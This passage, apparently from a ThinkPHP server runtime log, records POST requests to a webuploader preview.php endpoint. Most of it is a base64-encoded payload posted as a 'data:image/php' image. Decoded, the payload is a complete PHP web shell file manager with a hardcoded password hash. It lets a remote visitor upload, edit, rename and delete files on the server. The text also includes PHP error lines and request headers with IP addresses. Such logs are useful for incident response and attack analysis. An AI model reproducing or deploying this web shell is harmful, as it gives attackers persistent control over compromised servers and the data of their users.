sc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:32+08:00 ] 119.42.146.234 POST 59.110.137.245/webuploader/0.1.15/server/preview.php [运行时间:0.002725s] [吞吐率:366.99req/s] [内存消耗:196.74kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'webuploader', 2 => '0.1.15', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnO